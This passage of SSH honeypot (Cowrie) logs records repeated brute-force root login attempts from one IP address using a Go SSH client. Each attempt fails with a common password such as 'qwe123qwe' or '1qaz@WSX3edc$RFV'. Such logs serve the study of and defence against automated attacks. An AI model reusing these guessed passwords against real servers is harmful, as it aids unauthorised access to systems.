.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:20.815746Z","src_ip":"60.165.124.241","session":"b258e7ae79b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Manager@123","message":"login attempt [root/Manager@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:21.530587Z","src_ip":"60.165.124.241","session":"b258e7ae79b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:22.770073Z","src_ip":"60.165.124.241","session":"b258e7ae79b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50898,"dst_ip":"10.17.0.5","dst_port":22,"session":"3290b650fb3b","protocol":"ssh","message":"New connection: 60.165.124.241:50898 (10.17.0.5:22) [session: 3290b650fb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:23.006262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:23.014895Z","src_ip":"60.165.124.241","session":"3290b650fb3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:23.253244Z","src_ip":"60.165.124.241","session":"3290b650fb3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:23.979457Z","src_ip":"60.165.124.241","session":"3290b650fb3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:25.220303Z","src_ip":"60.165.124.241","session":"3290b650fb3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54078,"dst_ip":"10.17.0.5","dst_port":22,"session":"83697be10b5f","protocol":"ssh","message":"New connection: 60.165.124.241:54078 (10.17.0.5:22) [session: 83697be10b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:25.453588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:25.457755Z","src_ip":"60.165.124.241","session":"83697be10b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:25.694323Z","src_ip":"60.165.124.241","session":"83697be10b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5tgb6yhn7ujm","message":"login attempt [root/5tgb6yhn7ujm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:26.411800Z","src_ip":"60.165.124.241","session":"83697be10b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:27.655730Z","src_ip":"60.165.124.241","session":"83697be10b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57088,"dst_ip":"10.17.0.5","dst_port":22,"session":"de36c2a36495","protocol":"ssh","message":"New connection: 60.165.124.241:57088 (10.17.0.5:22) [session: de36c2a36495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:27.892041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:27.899672Z","src_ip":"60.165.124.241","session":"de36c2a36495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:28.137743Z","src_ip":"60.165.124.241","session":"de36c2a36495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123qwe","message":"login attempt [root/qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:28.892281Z","src_ip":"60.165.124.241","session":"de36c2a36495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:30.746102Z","src_ip":"60.165.124.241","session":"de36c2a36495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60644,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaf482c24ae1","protocol":"ssh","message":"New connection: 60.165.124.241:60644 (10.17.0.5:22) [session: eaf482c24ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:30.992235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:30.997542Z","src_ip":"60.165.124.241","session":"eaf482c24ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:31.248548Z","src_ip":"60.165.124.241","session":"eaf482c24ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lenovo+123456","message":"login attempt [root/lenovo+123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:33.369025Z","src_ip":"60.165.124.241","session":"eaf482c24ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:34.623415Z","src_ip":"60.165.124.241","session":"eaf482c24ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37134,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d7ca42cff7a","protocol":"ssh","message":"New connection: 60.165.124.241:37134 (10.17.0.5:22) [session: 7d7ca42cff7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:34.870863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:34.878931Z","src_ip":"60.165.124.241","session":"7d7ca42cff7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:35.130055Z","src_ip":"60.165.124.241","session":"7d7ca42cff7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz2025@","message":"login attempt [root/Qaz2025@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:36.591730Z","src_ip":"60.165.124.241","session":"7d7ca42cff7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:37.845254Z","src_ip":"60.165.124.241","session":"7d7ca42cff7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41036,"dst_ip":"10.17.0.5","dst_port":22,"session":"bef02a0b1641","protocol":"ssh","message":"New connection: 60.165.124.241:41036 (10.17.0.5:22) [session: bef02a0b1641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:38.092933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:38.098123Z","src_ip":"60.165.124.241","session":"bef02a0b1641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:38.349101Z","src_ip":"60.165.124.241","session":"bef02a0b1641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123456.","message":"login attempt [root/asd123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:39.086180Z","src_ip":"60.165.124.241","session":"bef02a0b1641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:40.325325Z","src_ip":"60.165.124.241","session":"bef02a0b1641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44120,"dst_ip":"10.17.0.5","dst_port":22,"session":"c92852f63187","protocol":"ssh","message":"New connection: 60.165.124.241:44120 (10.17.0.5:22) [session: c92852f63187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:40.556861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:40.564270Z","src_ip":"60.165.124.241","session":"c92852f63187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:41.792620Z","src_ip":"60.165.124.241","session":"c92852f63187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123@@","message":"login attempt [root/abc123@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:42.542724Z","src_ip":"60.165.124.241","session":"c92852f63187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:43.794937Z","src_ip":"60.165.124.241","session":"c92852f63187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48040,"dst_ip":"10.17.0.5","dst_port":22,"session":"78c781790651","protocol":"ssh","message":"New connection: 60.165.124.241:48040 (10.17.0.5:22) [session: 78c781790651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:44.049171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:44.053885Z","src_ip":"60.165.124.241","session":"78c781790651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:44.293931Z","src_ip":"60.165.124.241","session":"78c781790651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc$RFV","message":"login attempt [root/1qaz@WSX3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:45.050954Z","src_ip":"60.165.124.241","session":"78c781790651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:46.293944Z","src_ip":"60.165.124.241","session":"78c781790651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51142,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cb8904a4b8d","protocol":"ssh","message":"New connection: 60.165.124.241:51142 (10.17.0.5:22) [session: 2cb8904a4b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:46.532359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:46.543808Z","src_ip":"60.165.124.241","session":"2cb8904a4b8d","protocol":"ssh"}
